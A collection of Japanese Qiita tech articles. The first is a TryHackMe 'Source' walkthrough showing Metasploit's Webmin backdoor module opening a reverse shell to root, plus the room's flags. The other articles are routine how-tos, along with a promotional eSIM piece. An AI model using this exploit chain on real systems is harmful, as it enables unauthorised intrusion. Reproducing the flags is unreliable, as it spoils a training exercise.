OmniAICreator/Qiita-1.07M huggingface dataset:
【TryHackMe】Source：Walkthrough

# 概要

TryHackMe「Source」のWalkthroughです。

https://tryhackme.com/r/room/source

# Task1

## **Q1**.*user.txt*

ポートスキャンを実行します。

```
$ nmap -Pn -T4 -A -sC -sV -p- 10.10.28.202 -oN nmap_result
PORT      STATE    SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
10000/tcp open     http    MiniServ 1.890 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
|_http-server-header: MiniServ/1.890
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|22|ssh|OpenSSH 7.6p1|
|10000|http|MiniServ 1.890|

`https://<ip>:10000`にアクセスするとログイン画面が表示されました。

![login.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/c37882ef-d0e5-fc51-6a09-76ec14575a9d.jpeg)

`MiniServ 1.890`で脆弱性情報を検索するとバックドアの脆弱性が見つかりました。

https://www.rapid7.com/db/modules/exploit/unix/webapp/webmin_backdoor/

`Metasploit`の`linux/http/webmin_backdoor`モジュールを使用します。
オプションを設定します。

![module option.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/a1ea8102-ad78-3e06-cf13-4ab9e36b447d.jpeg)

実行すると`root`アカウントのシェルを取得できました。

```
msf6 exploit(linux/http/webmin_backdoor) > exploit

[*] Started reverse TCP handler on 10.6.55.144:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Configuring Automatic (Unix In-Memory) target
[*] Sending cmd/unix/reverse_perl command payload
[*] Command shell session 1 opened (10.6.55.144:4444 -> 10.10.106.151:44934) at 2024-09-24 13:03:30 -0400

whoami
root
```

`user.txt`を検索します。

```
find / -name user.txt 2>/dev/null
/home/dark/user.txt
```

`/home/dark/user.txt`からユーザーフラグを入手できました。

```/home/dark/user.txt
THM{SUPPLY_CHAIN_COMPROMISE}
```

**A**.**THM{SUPPLY_CHAIN_COMPROMISE}**

## **Q2**.*root.txt*

`/root/root.txt`からルートフラグを入手できます。

```/root/root.txt
THM{UPDATE_YOUR_INSTALL}
```

**A**.**THM{UPDATE_YOUR_INSTALL}**
本当に無制限データが必要？日本旅行に最適なeSIMプランの選び方

日本への旅行では、常にインターネットに接続できることが非常に重要です。ナビゲーションを使うためや、家族や友人との連絡を取るため、または観光地の情報を確認するために、データ通信は欠かせません。しかし、無制限のデータプランが本当に必要なのでしょうか？この記事では、最適なeSIMプランの選び方について説明します。

## 無制限データは必要か？
まず、無制限のデータプランが本当に必要かどうかを検討する必要があります。多くの旅行者は、日本での短期滞在中に無制限のデータを使い切ることはあまりありません。観光地巡りやレストラン探しの際に地図アプリを使用する程度であれば、実際には中容量のデータプランで十分かもしれません。Wi-Fiも多くの場所で利用可能なため、常時大容量データ通信が必要になるケースは限られています。

### データ使用量を見積もる
自分のデータ使用量を見積もるためには、以下の点を考慮しましょう。

### 1日に何時間インターネットを使うか
ビデオストリーミング（YouTubeやNetflix）をどの程度利用するか
ソーシャルメディアやメッセージアプリの使用頻度
もし映画を観るつもりであれば、ストリーミングにはかなりのデータを消費することがありますが、その場合はSims DirectやSimifyから適切なデータ容量を持つプランを購入することをお勧めします。彼らのeSIMプランなら、手間なく日本でのデータ使用をカバーできるでしょう。

### 日本でのeSIMの利便性
eSIMは物理的なSIMカードの代わりとなる便利な選択肢です。特に日本では、到着前にeSIMを設定しておけば、空港での時間を節約でき、すぐにインターネットに接続できるのが大きなメリットです。

## eSIMのメリット
### すぐに利用可能
到着前にダウンロードしておけば、日本に着いた瞬間から利用可能です。

### 複数のプランから選択可能
データ使用量に応じて、様々なプランを選ぶことができます。短期旅行者には、7日間や30日間有効なプランが一般的です。

### 複数回線の利用も簡単
eSIMはデュアルSIM機能をサポートしているスマホなら、現地のeSIMを追加し、従来のSIMと併用することも可能です。

もし映画やビデオを多く見る予定があるなら、データ容量が大きめのプランを選ぶのが良いでしょう。Simifyのようなサービスでは、日本でのデータ通信に最適なプランが揃っています。

無制限のデータが必要かどうかは、旅行中の行動によります。もし地図やソーシャルメディアの利用がメインであれば、通常のデータプランで十分です。一方で、映画を観たり動画ストリーミングを楽しむ予定がある場合は、無制限データや大容量プランを選ぶことを検討しましょう。

### あなたに最適なeSIMを見つけるには
旅行前に、自分のデータ使用パターンをよく考え、最適なプランを選ぶのが賢明です。[Sims Direct](https://simsdirect.com.au/collections/esim-japan)や[Simify](https://simify.com/en-au/collections/esim-japan)では、旅行者向けにさまざまなeSIMプランが提供されており、あなたのニーズに合ったプランを見つけることができるでしょう。
【3分】NotebookLMでRAGを試す

皆さんこんにちは。生成AIを仕事で使っていますか？
今回は、日々RAGのツールを試し・実装してきた私が、最終的に落ち着いたイチオシのツール”NotebookLM”を紹介します。

# "NotebookLM" is 何？
NotebookLMはGoogleの公開する生成AIツールです。
ファイルやリンクをアップロードするだけで、そのデータを踏まえた返答をしてくれます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3770170/5c1dd2ef-3226-748e-61ab-1ccdfbfe0acf.png)

# 百聞は一見に如かず
以下のリンクから速攻で使用可能です。
https://notebooklm.google.com/

直感的にわかるので説明不要かと思いますが一応させていただくと、下記の画面でPDFのソースなどをアップロードすると、その内容を踏まえた回答をしてくれるチャットが起動します。
なお、読み込ませられるコードは50件までとなっています。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3770170/daa86b27-404d-273b-eb98-fd3a3be4cbe0.png)

# 何が優れているのか？
ファイルの保存ができる点が非常に優れています。例えばChatGPTでもファイルのアップロードは行えますが、NotebookLMではその操作が簡単に行え、50件まで参照できます。これはChatGPTなどには無い明確な利点です。
例えば、社内の規定集を読み込ませれば、簡易的なボットを作ることができます。このようなことはChatGPTでは手軽には行えません。

# おすすめする理由
生成AIが普及して、すぐにハルシネーションという言葉がバズりました。
その後、その対策としてファインチューニングやRAG、ベクトルデータベース、ドメイン特化型AIという言葉が普及しました。技術としては当然大事ですが、使う側からすればどうでも良い話です。

このサービスはそういうややこしい技術の裏側を考えずに、簡単に誰でもすぐ使える状態にしているのが素晴らしいです。

# まとめ
まだ触ってない人は騙されたと思って使ってみてください！
codesign がキーチェーンにあるApple Development へアクセスしようとしてます。のアラートが無限に出る時の対応。


![スクリーンショット 2024-09-25 1.21.40.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/244853/340fe596-1640-648c-e1d5-9fc24606a422.png)

問題
    実機でテストしようとするが、パスワードを入れてもアラートが無限に出る。


    
対応手順まとめ:

	1.	XcodeのApple IDを削除
	•	Xcode > settings で Apple IDを選択肢 - を押してApple ID を削除。
	2.	Xcodeを終了
	3.	キーチェーンアクセスで証明書を削除
	•	キーチェーンアクセス アプリを開き、
	•	「キーチェーン：ログイン」
	•	「分類：自分の証明書」を選択し、iPhone Developer: (自分のApple ID) の証明書を削除。
	4.	Macの再起動
	•	Mac を再起動する。
	5.	XcodeでApple IDを再登録
	•	Xcodeを再度起動し、settings から Apple ID を再登録。




引用:https://storikai.hatenablog.com/entry/2019/05/02/215542
プリミティブ型のimmutableとは

# はじめに
JavaScriptのデータ型は大きくプリミティブ型とオブジェクトの2つに分かれます。  
そのうちのプリミティブ型の特性として挙げられるのがimmutableです。  
immutableは、「一度作成したら変更できない」ことを指します。しかし、私は`let`を使えば変更可能じゃないか！と思いました。

# 疑問点
immutableは「一度作成したら変更できない」を意味するのではないの？変更できるじゃん！
```javascript:index.js
let message = 'Hello';
console.log(message);
message = message + 'World';
console.log(message);
```
```結果
Hello
HelloWorld
```
`message`が`Hello`から`HelloWorld`に変わっています。

# 結論
私が行なったことは変更ではなく、再代入でした。（変数`message`に変数`message`と文字列`World`を繋いで生成した文字列を格納している場所を渡している）*参考文献中の記事がわかりやすかったです。  
変更とは、以下のような既存の値に手を加えるだけのことを指すようです。
```javascript:index.js
let message = 'Hello';
console.log(message);
message[0] = 'a';
console.log(message);
```
```結果
Hello
Hello
```
変更を加える前と後で`message`が変わっていないことから、プリミティブ型である文字列がimmutableであることがわかります。

# 参考文献
[Immutable (不変)](https://developer.mozilla.org/ja/docs/Glossary/Immutable)
[ミュータブルな型とイミュータブルな型の相違を知ろう](https://qiita.com/makotoo2/items/fc3a617882916f9775f5)
ファームウェアプログラミングのためのマザーボードの選びかた

https://qiita.com/tanakmura/items/918cc1e80da3324367c0

> PC ファームウェアプログラミングでは、マザーボード決め打ちでプログラムする必要があります。ハードルは高いですね。

最初に書いたとおり、マザーボードごとにプログラムを書くのは、かなりハードルが高い。

それでも、ある程度難易度の低いマザーボードはあるので、最初はできるだけ簡単なものを選びたいところだ。

(簡単なものではなく困難を追求する人はcoreboot未移植のボードを探して移植とかするといいのではないかな…)


簡単だと思う基準2点を書いておく

# coreboot サポートがあるマザーボード

ファームウェアプログラミングにおいて一番苦労する点はドキュメントが無いという点である。マザーボード上のチップがどう接続されているか知ってないとどうしようもない問題が若干あるが、この情報は入手できないのが普通だ。

corebootが移植済みのマザーボードであれば、完全なドキュメントがなくても、実際に動くプログラムを参考にして実験することができる。

(私もかなりcorebootのコードを参考にしている)

今のcorebootがサポートするマザーボード一覧は https://github.com/coreboot/coreboot/tree/main/src/mainboard これを見るのが一番確実だと思う。全てが常にテストされてるわけではないかもしれないが、それでもゼロからプログラム書くよりは大分ラクなはずだ。

最近では、公式ファームウェアとしてcorebootを採用するPCも増えてきている。特に、Chromebookは極端に古い世代以外は全てcorebootを公式採用しており、日本でも入手しやすく、おすすめである。

(宣伝 : Chromebookにファームウェアを書く方法を Binary Hacks Rebooted https://www.amazon.co.jp/dp/4814400853 という本に書きました。みんな参考にしてね。)


他に、日本では入手が難しいかもしれないが、

- Purism 社の各種PC https://puri.sm/products/librem-14/
- Star Labs 社の各種PC https://jp.starlabs.systems/pages/starbook
- PC Engines 社のAPU https://pcengines.ch/apu2.htm

等が公式にcorebootをサポートしているようだ。(私はどれも使ったことない)


# できるだけ古いマザーボード

新しいマザーボードは機能が多く、それだけで単純に難しい。

あと、CPU, North bridge, South bridge が分離していた頃のチップセットのドキュメントは情報量がちょうど良く、読みやすいという気がする。

例えば、前回紹介した、ich7 のデータシートは、IO のみが書かれていて、周辺IOについて知りたいときだけ読めばいいことが分かる。
https://www.intel.com/content/dam/doc/datasheet/i-o-controller-hub-7-datasheet.pdf


それに対してSoCになってしまったApolloLakeとかは

https://www.intel.com/content/www/us/en/content-details/334817/intel-pentium-and-celeron-processor-n-and-j-series-datasheet-v1.html
https://www.intel.com/content/www/us/en/content-details/334818/intel-pentium-and-celeron-processor-n-and-j-series-datasheet-volume-2.html
https://www.intel.com/content/www/us/en/content-details/334819/intel-pentium-and-celeron-processor-n-and-j-series-datasheet-v3.html

この3冊から目当ての箇所を探す必要があり、若干困難である。

(あと個人的な主観でいうと、ich7のデータシートのほうが、必要な情報がちゃんと書いてある…気がする)


あと、新しいマザーボードが難しい理由として、新しい(といっても10年前)マザーボードには、Intel Boot Guard という機能が有効になっている場合がある。

これは、署名されてないファームウェアを起動しないようにする機能で、これが有効になってるとそもそも自作ファームウェアを実行することができない。

これはマザーボードの製作者が有効無効を決められるはずだが、specに書いてないので、動かしてみないとわからない。買ってきたマザーボードがBoot Guard有効になってると最悪である。お店の人に聞いて確認しよう。お店の人も知らないと思う。
オープンソースビルドシステムのNxについて紹介します。

# はじめに

こちらの資料でNxというツールが紹介されていたが、「Nx」ってなんだ？って思ったので、調査した結果を備忘録がてら記載いたします。

https://speakerdeck.com/ham0215/ciha5fen-yi-nei-su-zao-ikai-fa-saikuruwozhi-eruci?slide=17

なお、本記事はNxとは何か？ということだけ記載しております。
そのため既にNx
- Nxについて知っている
- Nxを使っている

という形にとっては既知の内容となりますので、本記事はスルーいただければと思います。

# Nxとは何か？

![Screenshot 2024-09-25 at 0.12.28.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/6280/9d3d7950-c8cf-7171-3e56-2b46be7b6b10.png)

https://nx.dev/

こちらに記載の通り

```
Build system, optimized for monorepos, with plugins for popular frameworks and tools and advanced CI capabilities including caching and distribution.
```
訳
一般的なフレームワークやツールのプラグイン、キャッシュや配布などの高度な CI 機能を備えた、モノリポジトリ向けに最適化されたシステムを構築します。

ということでJavaだとGradleみたいなフロントエンド用のビルドツールのようです。

メイン機能としては以下の機能が存在するようです。
（これをもっと早く知っていたら色んなプロジェクトで使っていたのに。。。）


コア機能
- 効率的なタスクの実行： Nxはタスクを並列に実行し、タスク間の依存関係に基づいて順序付けます
- CI でのタスクの分散: Nx は、多くの VM にタスクを分散することで CI を拡張します。リポジトリがどれほど大きくても、CI は高速です
- ローカルとリモートでキャッシュ： ローカルとリモートのキャッシュにより、Nxは不要なタスクの再実行を防ぎ、貴重な開発時間を節約します
- E2E テストを分割し、欠陥のあるテストを再実行します： Nx は、大規模な e2e テストを自動的に分割し、VM に分散させます。 Nx はまた、e2e テストの欠陥を自動的に特定し、再実行することもできる
- 依存関係の更新の自動化：Nxプラグインを活用すると、コード生成やコードベースと依存関係を自動的にアップグレードするツールなどの追加機能を得ることができます
- 自分のものに：Nxは高度なカスタマイズと拡張が可能です。 あなたの組織のためのプラグインを作成したり、ツーリングプラグインを作成することによって、それを微調整します

また以下の公式動画がより参考になりました。

video - Nx in 10 minutes!

<iframe width="560" height="315" src="https://www.youtube.com/embed/-_4WMl-Fn0w?si=L2tno5xJD-D6fA0_" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>

# おわりに

取り急ぎ簡単な紹介のみの記事となりますが、導入も比較的簡単に行うことができ各種CI用のコードを生成することも可能なので今後フロントエンド系で開発するときは是非使ってみたいと思います。

# 参考
https://nx.dev/
https://github.com/nrwl/nx
Unity ML-Agentsの学習実行エラーを解決する

# はじめに
こんにちは！大学の卒業研究でUnity ML-Agentsを使用しているのですが、理解が浅いことでエラーに遭遇したので、勉強のために記事を書いてみました。

環境構築は無事終わり、学習を実行させようとするとエラーが出てきました。同じような方がいたら参考になれば幸いです。

# 1.　protobufバージョンエラー
エラーの内容は「protobufパッケージを3.20.x以下にダウングレード」しろと書かれています。
![2024-09-15_220843.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3886699/eaa32d91-3f0d-aa26-3eac-adc75075bec2.png)

次のコマンドを入力
~~~
pip install protobuf==3.20
~~~
上記のコマンドでprotobufのバージョンを下げると成功しました。
![2024-09-15_221005.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3886699/a0f31b82-b609-320c-2198-b78b16782868.png)

# 2.　ファイルの場所が違うエラー
以下の内容は「そんなファイルは見当たらないよ」というエラーです。
![2024-09-15_220233.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3886699/ac1623d7-c2d6-b5b7-b139-797ffe421620.png)
確認してみるとファイルの階層が違っていたので、修正すると直りました。

# さいごに
最後まで見ていただき、ありがとうございました🙇
Unity ML-Agentsの情報が少なく、まだ勉強中のため、間違っていることもあるかもしれませんが多めに見ていただけると幸いです。今後も様々な技術の情報を記載していこうと思いますので、よろしくお願いします。
【サーバー構築】Apache公式ドキュメントを読んでディレクティブを変更する

# 目的
　[前回](https://qiita.com/sotyan/items/4e32902f5e45637b5a75)はApacheでWebサーバーを構築しました。今回はApacheの公式ドキュメントをよんで、ディレクティブについて触れてみたいと思います。
 
 # 実施した環境
* Ubuntu 24.04.1 LTS
* Apach/2.4.62

# 目次
注意事項：ファイルのバックアップ
1. Apacheの設定ファイルはどこ？
1. ディレクティブの使い方
1. エラーログの場所
1. エラーログの場所を変えてみる
1. 総括
1. 参考

# 注意事項：ファイルのバックアップ
　設定ファイルを変更していく上で、間違って削除してしまったり、元に戻したくなったりする場合があります。cpコマンドで、ファイル名の拡張子に .old をつけて、保存しておくことをお勧めします。
　例：text.txtのバックアップをとる
```
$ cp text.txt text.txt.old
  # text.txtと同じ階層にtext.txt.oldが作成される
```

# 1.Apacheの設定ファイルはどこ？
　公式ドキュメントによると設定ディレクトリは、 /usr/local/apache2/ 以下にあるとされています。しかし手元のPCで確認しても、 /usr/local/ 以下にapache2ディレクトリが存在しません。
　これはApacheをインストールする際に、ubuntuのaptコマンドを使ったことが原因です。手元のPCで、/etc/以下を見ると、apache2ディレクトリが確認できました。
　加えて、公式ドキュメントには「デフォルトの設定ファイルは、httpd.conf」と書いてありますが、/etc/apache2/apache2.conf のことです。
 
参考：「Ubuntu入門 – パッケージ管理コマンド apt とは？」(https://weblabo.oscasierra.net/ubuntu-apt/)
 
# 2.ディレクティブの使い方
　ディレクティブとは、Apacheの設定を変える際に必要なものです。構成ファイルに[構成ディレクティブ](https://httpd.apache.org/docs/2.4/mod/quickreference.html)を配置します。膨大な数のディレクティブがありますが、公式ドキュメントには、それぞれの説明が書いてあります。

# 3.エラーログの場所
 サーバーを管理するにあたって欠かせないものがエラーログです。エラーログは、[ErrorLogディレクティブ](https://httpd.apache.org/docs/2.4/mod/core.html#errorlog)で定義されると書いてあります。実際にapache2.confのErrorLogディレクティブを確認してみます。
 ```
 $ less apache2.conf
   # ErrorLog ${APACHE_LOG_DIR}/error.log と定義されているのが確認できる
   # （/ErrorLog と入力すると、その文字が目立って見える）
   # （戻るときは、qを押す）
```
　{APACHE_LOG_DIR}とはApacheによって定義された変数のことです。apache2.confと同じ階層にある、envvarsファイルに定義されています。
　先ほどのapache2.confと同じような方法でenvvarsを確認すると、{APACHE_LOG_DIR}とは、/var/log/apache2/ のことだとわかります。
　よって、ErrorLogディレクティブは次のように考えられます。
 ```
ErrorLog ${APACHE_LOG_DIR}/error.log 
= ErrorLog $/var/log/apache2//error.log
 ```
 確認すると、error.logがありました。
```
$ cd /var/log/apache2/
$ ls
  # error.logファイルがあることが確認できる
```

# 4.エラーログの場所を変えてみる
　最後にディレクティブを使って、エラーログの場所を変えてみます。エラーログは、/etc/apache2/log/に作ることにします。バックアップをとっておけば、失敗しても戻すだけなので安心です。
 　まずapache2.confのErrorLogディレクティブのパスを変更します。ErrorLogディレクティブの説明を読むと、パスが絶対パスではない場合、ServerRootディレクティブからの相対パスになるようです。3と同じような方法で、apache2.confファイルのServerRootディレクティブを見てみます。
```
$ less apache2.conf
  # #ServerRoot "/etc/apache2"と書いてある
```
　ServerRootのパスが /etc/apache2/ だと分かったので、次のようにして、ErrorLogディレクティブの場所を再定義します。
```
$ sudo vi apache2.conf
  # ErrorLog ${APACHE_LOG_DIR}/error.log を
  # ErrorLog log/error.log に変更する
```
　ErrorLogディレクティブは絶対パスで書かれていないため、ServerRootからの相対パスとなります。よってエラーログは、/etc/apache2/log/error.logに作られます。
　最後にエラーログファイルをおく /etc/apache2/log/ ディレクトリを作成します。
```
$ pwd
  # /etc/apache2/ 現在地の確認
$ sudo mkdir log
  # 現在地に、logディレクトリが作成される
```
　これで準備が完了しました。apacheを再起動すると、/etc/apache2/log/ディレクトリに、error.logファイルが作成されています。
```
$ sudo systemctl restart apache2
　# apacheの再起動
```
# 5.総括
　今回はディレクティブを使って、設定ファイルを変更させました。１つ設定を変えるだけでも、確認する場所が複数あるため大変です。
　変更を取り消したいときは、変更後のファイルを消して、バックアップファイルの .old の拡張子だけを取り除けば、元のファイルに戻ります。
　次回も引き続き公式ドキュメントを読んで、Apacheの理解を深めたいと思います。
 
# 6.参考
　この記事は以下の情報を参考に書きました。
* Apache HTTP サーバ バージョン 2.4 ドキュメント(https://httpd.apache.org/docs/2.4/ja/)
* Apache HTTP サーバ バージョン 2.4 ドキュメント ErrorLogディレクティブ(https://httpd.apache.org/docs/2.4/mod/core.html#errorlog)
外部仮想スイッチでVPNに接続したら、GitHubに接続できなくなった

# 概要
Hyper-Vの外部仮想スイッチを作成したところ、ホストOSとゲストOSの双方でGitHubに接続不能（タイムアウト）になったときの記録。

# 事象1： github.com に接続できない

| 外部仮想スイッチ |  事象                                               |
|:----------------:|:--------------------------------------------------|
| あり             | https://github.com/ に接続不能(ERR_TIMED_OUTが発生) |
| なし             | https://github.com/ に接続成功                     |

# 事象2: Microsoft Store からアプリを入手できない

| 外部仮想スイッチ |  事象                                        |
|:----------------:|:-------------------------------------------|
| あり             | アプリの検索・参照はできるが、入手ができない。 |
| なし             | アプリの検索・参照・入手ができる              |

 
# 発生条件：条件(A)～(C)をすべて満たすと発生
* (A) ゲストOSが、VPN接続を行っている。
* (B) ゲストOSが、Hyper-V の外部仮想スイッチを使用している。
* (C) 参照先が TLS1.3 を要求している。
          (Microsof Storeがアプリの入手に TLS1.3を要求しているかは不明)

# 原因： ルータのMTU ＜ 外部仮想スイッチのMTU

:::note info
【参考】VPN接続状態のWSL2内でGithubにPush/Pullをしても応答が返ってこなかった話
https://blog.adglobe.co.jp/entry/2024/07/31/100000
:::

外部仮想スイッチの有無で TLS が変化[^1][^2]した為、外部仮想スイッチの TLS1.3 未対応が原因と推測したが、意外にもMTUが原因だった。


# 対策： 外部仮想スイッチのMTU < ルータのMTU

:::note info
【参考】Windows環境でMTUの設定の方法
https://qiita.com/takish/items/f517080b3d1af478c90c
:::

ルータのMTU が 1454 であったため、外部仮想スイッチのMTUを変更(1500 → 1400)した。[^3]


[^1]: 「外部仮想スイッチあり」時のパケット
TLS1.2で接続しようとしている。こちら側が 192.168.51.153、GitHub側が 20.27.177.113 
"Client Hello"のあとの"Server Hello"がない。(接続失敗)
![PacketWithExternalSwitch.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/77121/0e026b31-0f4d-299f-34b7-a00428b3a14b.png)


[^2]: 「外部仮想スイッチなし」時のパケット
TLS1.3で接続している。こちら側が 192.168.0.252、GitHub側が 20.27.177.113 
"Client Hello"のあと、"Server Hello"が返ってきている。(接続成功)
![PacketWithNoExternalSwitch.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/77121/37a0fc6f-466d-7952-b506-c6c54d520523.png)

[^3]: 物理NIC の MTUが 1400 になっていたため、外部仮想スイッチのMTUも1400にした。
数年前、外部接続不能に陥った時、MTU=1400 に変更することで解決したことを思い出した。
恐るべし、MTU。
AzureのクライアントAPIバージョン(x-ms-api-version)を確認する方法について

※筆者自身による下記ブログからの転載です。

https://rpa-focus.tech/azure-client-api-x-ms-api-version-check/

## クライアント API バージョン (x-ms-api-version) とは
例えば、Logic Apps で利用可能な "Azure Resource Manager" というコネクタでは、特定の処理を呼び出すにあたって API の Header に "x-ms-api-version" を入力する必要があります。

>![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/954115/f36a05b7-e706-3003-76fa-376aa56a1cc0.png)
[Azure Resource Manager # リソースを読み取る](https://learn.microsoft.com/ja-jp/connectors/arm/#%E3%83%AA%E3%82%BD%E3%83%BC%E3%82%B9%E3%82%92%E8%AA%AD%E3%81%BF%E5%8F%96%E3%82%8B)

説明を読めば、確かに意味は分かります。
意味は分かるけど「じゃあ何を入力するの？」ってことで確認方法を記載します。

## クライアント API バージョン (x-ms-api-version) の確認

### 方法 1 : 対象の Azure リソースから確認する
まず対象となる Azure リソース (今回は Logic Apps) を開き、概要ページに飛びます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/954115/e5597ac1-fc15-e066-eaad-b498f463e5ba.png)

すると、普段はあまり意識しない画面右上に [JSON ビュー] ってのがあります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/954115/134e2026-533b-c06a-6fef-556247d9f9ed.png)

Logic Apps に限らず、実はここに API バージョンが書かれていたりします。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/954115/653b6ab6-0b83-b064-5d74-668f6c952604.png)

### 公式ドキュメントから確認する
API のバージョンは REST API のリファレンスと共に記載されています。
しかしながら、Microsoft 製品は情報量が膨大であり、目的のものを探すのが困難です。

実際に私も Logic Apps の API バージョンを確認するために検索したり、Copilot に情報を探して貰ったりと試行錯誤しましたが、検索結果からは終ぞ見つかりませんでした。

そのため、目的サービスにおけるドキュメントの探し方をご紹介します。
まず、下記のリンクを押下して Azure REST API のリファレンスに遷移します。

https://learn.microsoft.com/ja-jp/rest/api/azure/

続いて画面左側の製品一覧で目的のもの (今回は Logic Apps) を探します。
めんどくさいので『Ctrl + F』の検索で見つけても良いです。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/954115/2612c0a4-8aef-d27c-07a2-324cf7528559.png)

トグル リストを展開すると色々出てくるので、[対象サービス] – [リファレンス] – [リソース マネージャー] という順番 (構成が違う場合もあります) でクリックしていきます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/954115/89feec50-7f93-c1a3-fd8c-be967355a307.png)

上記構成の場合、階下のリファレンスは REST API のもので API バージョンを確認可能です。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/954115/dd8ccbd3-754e-2724-697c-280eb7c8803d.png)
Azure DDoS Protection Basic は何処へいったのか？ Azure DDoS インフラストラクチャ保護について

# 概要

少々前の資料を参照すると Azure DDoS Protection には2つのプランがあるとの情報が散見されます。
それらの情報においては Standard と Basic の2つのプランがあり、Basic は無料かつ既定で Azure プラットフォームに統合されているとの記載となっております。
しかしながら、2024 年 10 月時点でMicrosoft 公式サイトの情報では DDoS ネットワーク保護並びにDDoS IP 保護 の記載しかなく、Azure DDoS Protectio Basic プランについて言及がされている情報が見当たりません。

実際のところどうなってるか調べてみましたのでその結果について記します。

# 調査結果

Microsoft公式情報には言及がなかたったものの、下記の Blog によりますと、Basic プランは 2022 年（おそらく 11 月） 時点で名前が変わり Azure DDoS Infrastructure Protection（和名：Azure DDoS インフラストラクチャ保護）となりその後も存続しています。

[Understanding Azure DDoS Protection: A Closer Look - Microsoft Community Hub](https://techcommunity.microsoft.com/t5/azure-network-security-blog/understanding-azure-ddos-protection-a-closer-look/ba-p/3983767)

Azure DDoS インフラストラクチャ保護 は Azure DDoS Protection Basic プラン同様既定で有効となっているため設定などは不要です。

なお、変更後の名前である Azure DDoS インフラストラクチャ保護 をもとに調べると公式情報で言及されている情報が見つかります。

[Azure DDoS Protection サービス レベルの比較について | Microsoft Learn](https://learn.microsoft.com/ja-jp/azure/ddos-protection/ddos-protection-sku-comparison)
※ 注意にて言及されています。

[Azure DDoS Protection のよくあるご質問 | Microsoft Learn](https://learn.microsoft.com/ja-jp/azure/ddos-protection/ddos-faq)
※ [このサービスを使用しないと Azure のサービスが安全ではくなりますか?]にて言及されています。

なお、トレーニング用の下記が一番わかりやすい説明となっています。

[Azure DDoS Protection とは何か? - Training | Microsoft Learn](https://learn.microsoft.com/ja-jp/training/modules/introduction-azure-ddos-protection/2-what-is-azure-ddos-protection)

# まとめ

Azure のサービスではAzure DDoS インフラストラクチャ保護により特に設定不要で既定で DDoS 攻撃に対しての保護はされることになりますが、Azure DDoS インフラストラクチャ保護 ではテレメトリやアラートが提供されません。
テレメトリやアラート必要であったり、ワークロードごとで詳細に設定を行う場合には、Azure DDoS ネットワーク保護 を使用する必要があります。

ただし、Azure DDoS Protection ネットワーク保護/DDoS IP 保護はご存じの方も多いと思いますが非常にコストが高いです。
下記で見積もりが可能ですが 1 か月あたり ネットワーク保護（保護対象のPIPが15以上の場合）で2944ドル、IP保護（保護対象のPIPが15個未満の場合）の場合 1 IPアドレス当たり199ドルとなります。

[Azure DDoS Protection の価格 | Microsoft Azure](https://azure.microsoft.com/ja-jp/pricing/details/ddos-protection/)

どこまで保護する必要性があるのか、アラートなどの監視が細かく必要かにより

* 既定で有効かつ無料のAzure DDoS インフラストラクチャ保護を使用する
* 高機能だが高価なAzure DDoS Protection ネットワーク保護/DDoS IP 保護を使用する

のいずれかを取捨選択しないとならない状況です。
NetBoxを使ってみよう 6回: プラグイン導入

# 概要

NetBoxを使ってみようの第6回でプラグインの導入を行ってみます。
NetBoxはプラグインの開発がかなり盛んで、多くのものがすでに公開されています。
今回はそんな中から1つ試しに導入してみようと思います。

## 全記事
- [1回: Netboxとは](https://qiita.com/strawberryjam/items/671e006d427aac8bfe79)
- [2回: 構築をしてみる](https://qiita.com/strawberryjam/items/3ff4436036c7f1cd0916)
- [3回: organizationとDeviceの登録](https://qiita.com/strawberryjam/items/461b6ab82136262de288)
- [4回: 仮想マシンの登録](https://qiita.com/strawberryjam/items/41a8b47b423e9e2d10bc)
- [5回: IPAM (IPアドレス管理)](https://qiita.com/strawberryjam/items/79432a2d4cc566e25b0e)
- 6回: プラグイン導入 ← 今ココ

## NetBoxのプラグインについて

NetBoxのプラグインは多くあり、公式サイトでも数多く掲載されています。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/406495/7f6bad07-3235-54c6-6943-2b5052df34dc.png)

https://netboxlabs.com/netbox-plugins/

なお公式サイトで公開されているプラグインはNetBoxの管理画面からも確認でき、インストール状況も見れます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/406495/fa0887ea-0d2f-0027-9d05-1c9edf73a1e6.png)



プラグインを選択して、Installを選択すると手順も表示されるため、かなりお手軽です。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/406495/9916027f-f56d-93f8-63e5-1565d1fb257a.png)

## プラグインのインストール

それでは実際にインストールを行っていきます。
今回は”NetBox Topology Views”というプラグインをインストールしていきます。

まずNetBoxをインストールしているマシンにSSHで接続して、pythonの仮想環境に入ります。
```bash
source /opt/netbox/venv/bin/activate
```
続いて以下コマンドでプラグインをインストールしておきます。

```bash
sudo /opt/netbox/venv/bin/pip3 install netbox-topology-views
```

